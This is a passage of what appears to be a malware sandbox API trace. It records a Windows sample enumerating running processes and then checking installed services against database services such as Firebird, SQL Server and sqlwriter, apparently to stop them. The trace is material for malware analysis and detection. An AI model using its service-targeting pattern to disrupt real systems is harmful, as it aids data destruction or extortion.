szExeFile="wininit.exe")) returned 1 [0210.766] lstrlenW (lpString="wininit.exe") returned 11 [0210.766] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.767] lstrlenW (lpString="csrss.exe") returned 9 [0210.767] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0210.768] lstrlenW (lpString="winlogon.exe") returned 12 [0210.768] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0210.769] lstrlenW (lpString="services.exe") returned 12 [0210.769] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0210.769] lstrlenW (lpString="lsass.exe") returned 9 [0210.769] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.770] lstrlenW (lpString="svchost.exe") returned 11 [0210.770] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0210.771] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0210.771] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0210.772] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0210.772] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.772] lstrlenW (lpString="svchost.exe") returned 11 [0210.772] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0210.773] lstrlenW (lpString="dwm.exe") returned 7 [0210.773] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.774] lstrlenW (lpString="svchost.exe") returned 11 [0210.774] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.774] lstrlenW (lpString="svchost.exe") returned 11 [0210.774] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.775] lstrlenW (lpString="svchost.exe") returned 11 [0210.775] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.776] lstrlenW (lpString="svchost.exe") returned 11 [0210.776] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.776] lstrlenW (lpString="svchost.exe") returned 11 [0210.777] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.777] lstrlenW (lpString="svchost.exe") returned 11 [0210.777] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.778] lstrlenW (lpString="svchost.exe") returned 11 [0210.778] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.779] lstrlenW (lpString="svchost.exe") returned 11 [0210.779] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.779] lstrlenW (lpString="svchost.exe") returned 11 [0210.779] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0210.780] lstrlenW (lpString="spoolsv.exe") returned 11 [0210.780] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.781] lstrlenW (lpString="svchost.exe") returned 11 [0210.781] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.781] lstrlenW (lpString="svchost.exe") returned 11 [0210.782] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0210.782] lstrlenW (lpString="audiodg.exe") returned 11 [0210.782] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0210.783] lstrlenW (lpString="sihost.exe") returned 10 [0210.783] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.784] lstrlenW (lpString="svchost.exe") returned 11 [0210.784] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0210.784] lstrlenW (lpString="taskhostw.exe") returned 13 [0210.784] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0210.785] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0210.785] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0210.786] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0210.786] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0210.787] lstrlenW (lpString="explorer.exe") returned 12 [0210.787] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0210.787] lstrlenW (lpString="Memory Compression") returned 18 [0210.787] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0210.788] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0210.788] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0210.789] lstrlenW (lpString="SearchUI.exe") returned 12 [0210.789] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0210.789] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0210.790] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0210.790] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0210.790] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0210.791] lstrlenW (lpString="entering.exe") returned 12 [0210.791] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0210.792] lstrlenW (lpString="literally.exe") returned 13 [0210.792] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0210.792] lstrlenW (lpString="prep.exe") returned 8 [0210.792] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0210.793] lstrlenW (lpString="homeless.exe") returned 12 [0210.793] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0210.814] lstrlenW (lpString="tips.exe") returned 8 [0210.814] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0210.815] lstrlenW (lpString="rhode_cow.exe") returned 13 [0210.815] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0210.816] lstrlenW (lpString="discount.exe") returned 12 [0210.816] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0210.816] lstrlenW (lpString="littleclosest.exe") returned 17 [0210.816] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0210.817] lstrlenW (lpString="compact.exe") returned 11 [0210.817] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0210.818] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0210.818] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0210.818] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0210.819] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0210.819] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0210.819] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0210.820] lstrlenW (lpString="vincentkills.exe") returned 16 [0210.820] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0210.821] lstrlenW (lpString="armstrong.exe") returned 13 [0210.821] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0210.822] lstrlenW (lpString="superb_guilty.exe") returned 17 [0210.822] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0210.822] lstrlenW (lpString="conditional employer.exe") returned 24 [0210.822] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0210.823] lstrlenW (lpString="middle shown.exe") returned 16 [0210.823] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0210.824] lstrlenW (lpString="forced_online.exe") returned 17 [0210.824] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0210.825] lstrlenW (lpString="knitting.exe") returned 12 [0210.825] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0210.826] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0210.826] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0210.827] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0210.827] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0210.827] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0210.827] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.828] lstrlenW (lpString="svchost.exe") returned 11 [0210.828] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0210.829] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0210.829] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0210.830] lstrlenW (lpString="conhost.exe") returned 11 [0210.830] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0210.831] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0210.831] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0210.832] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0210.832] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0210.833] lstrlenW (lpString="WMIADAP.exe") returned 11 [0210.833] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0210.834] lstrlenW (lpString="11.exe") returned 6 [0210.834] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0210.834] lstrlenW (lpString="cmd.exe") returned 7 [0210.834] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0210.835] lstrlenW (lpString="conhost.exe") returned 11 [0210.835] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0210.836] lstrlenW (lpString="mode.com") returned 8 [0210.836] Process32NextW (in: hSnapshot=0x320, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0210.836] CloseHandle (hObject=0x320) returned 1 [0210.837] Sleep (dwMilliseconds=0x1f4) [0211.347] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889930 [0211.348] EnumServicesStatusExW (in: hSCManager=0x889930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0211.348] GetLastError () returned 0xea [0211.348] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x801a48 [0211.349] EnumServicesStatusExW (in: hSCManager=0x889930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x801a48, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x801a48, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0211.349] CloseServiceHandle (hSCObject=0x889930) returned 1 [0211.349] lstrlenW (lpString="Appinfo") returned 7 [0211.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0211.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0211.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0211.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0211.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0211.350] lstrlenW (lpString="AppXSvc") returned 7 [0211.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 